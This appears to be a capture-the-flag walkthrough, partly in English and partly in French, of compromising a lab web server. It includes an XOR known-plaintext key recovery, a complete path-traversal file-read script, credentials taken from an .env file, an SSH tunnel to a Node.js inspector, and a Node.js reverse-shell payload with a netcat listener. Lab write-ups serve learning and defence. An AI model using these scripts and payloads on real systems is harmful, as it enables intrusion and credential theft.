Step 1 – XOR Key Recovery via Known Plaintext Attack
We upload a file whose exact content we know (in our case, a PNG file we possess), then retrieve its encrypted version from /tmp/. By XORing the two, we extract the keystream:
python3
>>> import requests
>>> resp = requests.get('http://10.129.238.32:5000/tmp/sample-upload.png')
>>> enc = resp.content
>>> with open('/home/user/images/sample-upload.png', 'rb') as f:
... pt = f.read()
>>> keystream = [c ^ p for c, p in zip(enc, pt)]
>>> ''.join([chr(x) for x in keystream[:40]])
'Hm9zeWC38Hm9zeWC38Hm9zeWC38Hm9zeWC38Hm9z'
The keystream repeats every 9 positions: the key is Hm9zeWC38. We verify this on another file:
>>> from itertools import cycle
>>> resp2 = requests.get('http://10.129.238.32:5000/tmp/test.txt')
>>> enc2 = resp2.content
>>> ''.join(chr(e ^ k) for e, k in zip(enc2, cycle(b"Hm9zeWC38")))
'test de chiffrement
'
Decryption works. The same key is used for all files, regardless of their nature or owner.
Step 2 – Arbitrary File Reading via Path Traversal
We write a Python script that automates the process: traversal to any absolute path, retrieval of the base64 from the response HTML, XOR decryption with the known key:
#!/usr/bin/env python3
import base64, re, requests, sys
from itertools import cycle
if len(sys.argv) != 3:
print(f"usage: {sys.argv[0]} ")
sys.exit()
host = sys.argv[1]
enc_path = sys.argv[2].replace('/', '%2f')
try:
resp = requests.get(
f'http://{host}:5000/file/../../../../../../../../../../../../{enc_path}',
timeout=0.5
)
except requests.exceptions.ReadTimeout:
print("")
sys.exit()
enc_b64 = re.search(
r'data:application/octet-stream;charset=utf-8;base64,(.+?)"',
resp.text
).group(1)
enc = base64.b64decode(enc_b64)
pt = ''.join(chr(e ^ k) for e, k in zip(enc, cycle(b"Hm9zeWC38")))
print(pt)
When the file doesn't exist, the server waits indefinitely. We handle this with a short timeout. We validate:
python3 file_read.py 10.129.238.32 /etc/hostname
store
python3 file_read.py 10.129.238.32 /etc/nonexistent_file
<File not found>
We read /etc/passwd and identify users with a shell:
python3 file_read.py 10.129.238.32 /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
dev:x:1001:1001:,,,:/home/dev:/bin/bash
We also find sftpuser:x:1002:1002:,,,:/home/sftpuser:/bin/false (no shell). We then read the .env file:
python3 file_read.py 10.129.238.32 /home/dev/projects/store1/.env
SFTP_URL=sftp://sftpuser:WidK52pWBtWQdcVC@localhost
SECRET=Hm9zeWC38
STORE_HOME=/home/dev/projects/store1
PORT=5000
SFTP credentials exfiltrated: sftpuser / WidK52pWBtWQdcVC.
Step 3 – SSH Tunnel via SFTP Account to Reach Node.js Inspector
The /etc/ssh/sshd_config configuration enforces ForceCommand internal-sftp for sftpuser, but does not disable AllowTcpForwarding. We can therefore create a local tunnel to port 9229 (Node.js inspector) without executing any remote command:
ssh [email protected] -N -L 9229:127.0.0.1:9229
([email protected]) Password: WidK52pWBtWQdcVC
The -N option prevents remote command execution; the tunnel remains active in the background. We verify that the port is indeed listening locally:
netstat -tnlp | grep 9229
tcp 0 0 127.0.0.1:9229 0.0.0.0:* LISTEN [PID]/ssh
The local port 9229 is now relayed to the target's Node.js inspector.
Étape 4 — Exécution de code via l’inspecteur Node.js → shell en tant que dev
Le protocole d’inspection V8 est accessible depuis Chromium via chrome://inspect. Dès que le tunnel SSH est actif, la cible distante apparaît automatiquement dans la liste des cibles déboguables. En cliquant sur "inspect", on ouvre une fenêtre DevTools qui donne accès à une console JavaScript exécutée dans le contexte du processus Node.js.
On y colle un payload de reverse shell Node.js (format #2 de revshells.com, adapté à notre IP et port) :
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/bash", []);
var client = new net.Socket();
client.connect(443, "10.10.14.XX", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();
On a préalablement ouvert un listener :
nc -lnvp 443
Listening on 0.0.0.0 443
Après exécution dans la console DevTools, la connexion arrive :
Connection received on 10.129.238.32 XXXXX
whoami
dev
On améliore le shell pour le rendre interactif :
script /dev/null -c bash
^Z
stty raw -echo; fg
reset
Terminal type? screen
On récupère le flag user :
cat /home/dev/user.txt
0f4a8fca************************